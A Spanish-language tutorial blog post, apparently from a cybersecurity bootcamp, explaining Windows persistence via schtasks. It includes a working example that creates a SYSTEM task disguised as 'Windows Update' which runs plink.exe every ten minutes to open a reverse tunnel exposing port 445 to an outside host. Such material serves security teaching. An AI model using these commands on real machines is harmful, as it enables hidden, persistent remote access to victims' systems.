Generar persistencia mediante tarea programada

| Última modificación: 29 de septiembre de 2024 | Tiempo de Lectura: 3 minutos

Algunos de nuestros reconocimientos:

Premios KeepCoding

Existe una forma de generar persistencia mediante tarea programada mediante el uso de schtasks. De este modo, se establecen determinadas tareas programadas en el equipo donde se va a desplegar la persistencia.

Veamos, por tanto, cómo generar persistencia mediante tarea programada gracias a schtasks.

persistencia mediante tarea programada

Generar persistencia mediante tarea programada

Una tarea programada en Windows es una función que le permite al sistema operativo ejecutar automáticamente un programa, script o comando en un momento específico o en intervalos regulares. Estas tareas programadas también se conocen como tareas en segundo plano o trabajos cron en otros sistemas operativos.

Las tareas programadas son útiles para automatizar tareas repetitivas o realizar acciones en momentos específicos, incluso cuando el usuario no está presente.

La forma de generar persistencia mediante tarea programada es la siguiente:

//Persistencia mediante tarea programada
C:\ schtasks /create /ru "SYSTEM" /sc minute /mo <minutos> /tn "<nombre>" /tr "<comando>"

Veamos los parámetros del código que acabamos de escribir:

  1. “C:”: indica la unidad de disco en la que se encuentra ubicado el comando “schtasks”. En este caso, se asume que se encuentra en la unidad C:, pero puede variar dependiendo de la configuración del sistema.
  2. “schtasks”: es el comando principal que se utiliza para interactuar con el Programador de tareas de Windows.
  3. “/create”: es una opción del comando “schtasks” que indica que se va a crear una nueva tarea programada.
  4. “/ru “SYSTEM””: es otra opción del comando que especifica el nombre de usuario (SYSTEM) bajo el cual se ejecutará la tarea programada. El usuario SYSTEM es un usuario privilegiado en Windows.
  5. “/sc minute”: establece la frecuencia de ejecución de la tarea programada. En este caso, se establece para que se ejecute cada minuto. Puedes cambiar “minute” por otros valores como “hour” (cada hora), “day” (cada día) u otros intervalos de tiempo.
  6. “/mo <minutos>”: se especifica la cantidad de minutos entre cada ejecución de la tarea programada. Debes reemplazar “<minutos>” por un número entero que indique la cantidad de minutos deseada.
  7. “/tn “<nombre>””: establece el nombre de la tarea programada. Debes reemplazar “<nombre>” por el nombre que desees asignarle a la tarea.
  8. “/tr “<comando>””: se especifica el comando o el programa que se ejecutará como parte de la tarea programada. Debes reemplazar “<comando>” por el comando o la ruta del programa que deseas ejecutar.

Ejemplo de uso de persistencia mediante tarea programada

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Veamos un ejemplo de persistencia mediante tarea programada para la conexión inversa a través de certificado cada 10 minutos:

C:\ schtasks /create /ru "SYSTEM" /sc minute /mo 10 /tn "Windows Update" /tr "C:\temp \plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key"

Analicemos los argumentos de este código:

  1. /mo 10: especifica un modificador de repetición e indica que la tarea se repetirá cada 10 minutos.
  2. /tn "Windows Update": se establece el nombre de la tarea programada. En este caso, se le ha dado el nombre “Windows Update”.
  3. /tr "C:\temp\plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key": especifica la acción que se llevará a cabo cuando se ejecute la tarea programada. En este caso, se ejecutará el archivo “plink.exe”, ubicado en “C:\temp”, con una serie de argumentos:
    • 10.1.1.22: es la dirección IP de destino a la que se conectará plink.exe.
    • -P 443: especifica el número de puerto al que se conectará plink.exe (443 en este caso).
    • -C: habilita la compresión de datos durante la transferencia.
    • -R 3445:127.0.0.1:445: establece una redirección de puertos, redirigiendo el puerto 3445 del sistema remoto a la dirección IP 127.0.0.1 (localhost) en el puerto 445.
    • -N: desactiva el inicio de un shell o terminal remoto después de la autenticación.
    • -l root: especifica el nombre de usuario remoto con el que se autenticará (en este caso, root).
    • -i private.key: especifica la clave privada que se utilizará para la autenticación.

¿Quieres seguir aprendiendo?

El proceso de persistencia mediante tarea programada no es nada simple, pero puedes seguir profundizando en este y muchos otros temas con el Ciberseguridad Full Stack Bootcamp. En esta formación de alta intensidad contarás con la guía constante de nuestros profesores expertos, de forma que dominarás todo lo necesario para triunfar en el sector tanto a nivel teórico como práctico. ¡Accede para solicitar información y atrévete a transformar tu vida en pocos meses!

Carlos Cilleruelo

CEO and co-founder of Byron Labs & Coordinador del Bootcamp en Ciberseguridad.

Posts más leídos

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado